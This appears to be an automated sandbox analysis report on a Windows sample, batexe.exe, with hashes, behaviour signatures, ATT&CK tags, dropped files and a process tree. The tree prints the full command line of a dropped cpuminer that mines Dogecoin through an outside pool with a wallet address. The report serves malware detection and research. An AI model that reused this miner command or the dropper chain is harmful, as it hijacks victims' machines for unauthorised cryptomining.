73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
294s
max time network
291s
platform
windows10-2004_x64
resource
win10v2004-20231222-ja
resource tags

arch:x64arch:x86image:win10v2004-20231222-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
11/02/2024, 12:05

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	b2e.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1168293393-3419776239-306423207-1000\Control Panel\International\Geo\Nation	batexe.exe

Executes dropped EXE 2 IoCs

pid	Process
5528	b2e.exe
5496	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
5496	cpuminer-sse2.exe
5496	cpuminer-sse2.exe
5496	cpuminer-sse2.exe
5496	cpuminer-sse2.exe
5496	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4092-7-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4092 wrote to memory of 5528	4092	batexe.exe	83
PID 4092 wrote to memory of 5528	4092	batexe.exe	83
PID 4092 wrote to memory of 5528	4092	batexe.exe	83
PID 5528 wrote to memory of 1720	5528	b2e.exe	84
PID 5528 wrote to memory of 1720	5528	b2e.exe	84
PID 5528 wrote to memory of 1720	5528	b2e.exe	84
PID 1720 wrote to memory of 5496	1720	cmd.exe	87
PID 1720 wrote to memory of 5496	1720	cmd.exe	87

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4092
- C:\Users\Admin\AppData\Local\Temp\5C97.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5C97.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5C97.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:5528
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\5F85.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1720
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5496

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5C97.tmp\b2e.exe

Filesize
22.0MB

MD5
49589d184d0a88dbcea0dba9c2d01172

SHA1
ad90674977c3696e32a3c9e48c48f157f8c93746

SHA256
879408bb03679391c879fb86b8e37095f8cf5f46524e57cd97f906d2cd063c70

SHA512
c11745edea2e83542f42388e67c14634c17bea041511ebd56cc8d8bc9e99df0cb510e1917e492fef16b767c7846a854a2197966eec47e835f9d687fd11b0bdc0

Download Submit
C:\Users\Admin\AppData\Local\Temp\5C97.tmp\b2e.exe

Filesize
7.6MB

MD5
eca0851d1bd3d2eaa4192faac668fe25

SHA1
27a4c9407e6a9d350f0407f8f6e0e44f7cefd290

SHA256
c0aa5b539debf93ea0ba15ae5b36b9857fb6a3117c0c82691a366339fefc8b03

SHA512
e52d1d6c3f4a233e23d0f0c531206e2d2b889e3bfee41a6b534db3a34b793930276813c5c071636d71cd391cf6c38aae8c5c44a250bf0eef413ddf68f99bce8b

Download Submit
C:\Users\Admin\AppData\Local\Temp\5C97.tmp\b2e.exe

Filesize
9.6MB

MD5
f98927c0aa1d7f6bc12db75f53c85307

SHA1
89c4a6561c34a4ce2b3e4f47253adc5d3f24f486

SHA256
36e576d97f743a896d922d543d610889a6852fc413c51ec4f34fce3e0d317478

SHA512
c3233ab363ae0e2ccf9bf90eb498f024b82ff86e8cdcdacb415f25f6df739191b68540bf261fd3a4eef39de832f217d112894a62d82529d228384873e4235399

Download Submit
C:\Users\Admin\AppData\Local\Temp\5F85.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.9MB

MD5
76f8b2b08df31dad0ef8efb32765933d

SHA1
8cafabc6981ecd353fff1ee859ee08d4985acae1

SHA256
8c35e95a1409734ff319973634c8fe3b9324144683957c2375b80084dc791abf

SHA512
4269c30fd94e4bcff9c27194a04f332c65d4cd314bcf41b5c37d8961e1b86fdda76039b732e29dbdcc262754feb67b34b1e1b01a2fc0fb93e111d010e2569770

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.4MB

MD5
e865536224a4e20920d8f10706f538c1

SHA1
a50f4c1a4ccb9c463e371c4a3d376fc0d8413fce

SHA256
4a1ab9245d1b2bef781c131d9044e34ac610ac4ee2a3eb7012f9c59272b3cdf5

SHA512
3d9650acf79b3f01a43106a9eac5b141b7880f373a0d51e872ffcf9644a66c44e341c33b42940e124bfc80ecd9726672ed9b3f2e21e8661092893cee1f168b10

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
4.5MB

MD5
38d8cb7f088093c9ddb141bdd30638bb

SHA1
1554061b4ceabbbf7323a71e352d8bdc10885d02

SHA256
457f35ce39b302e2b811f894cd745fa5ca609020142cd99b3a1efca4a4105fad

SHA512
a4a8c40706977c2dcc957c5e8d3a0a1a22828949b6252fe27fa096e35d4bbf110577909868125f1ba6d76976dacfb58e8c399860781b64a4a4a1cdc2e191c495

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/4092-7-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/5496-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/5496-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5496-45-0x000000006EB00000-0x000000006EB98000-memory.dmp

Filesize
608KB

Download
memory/5496-47-0x0000000000E50000-0x0000000002705000-memory.dmp

Filesize
24.7MB

Download
memory/5496-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5496-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5528-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/5528-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download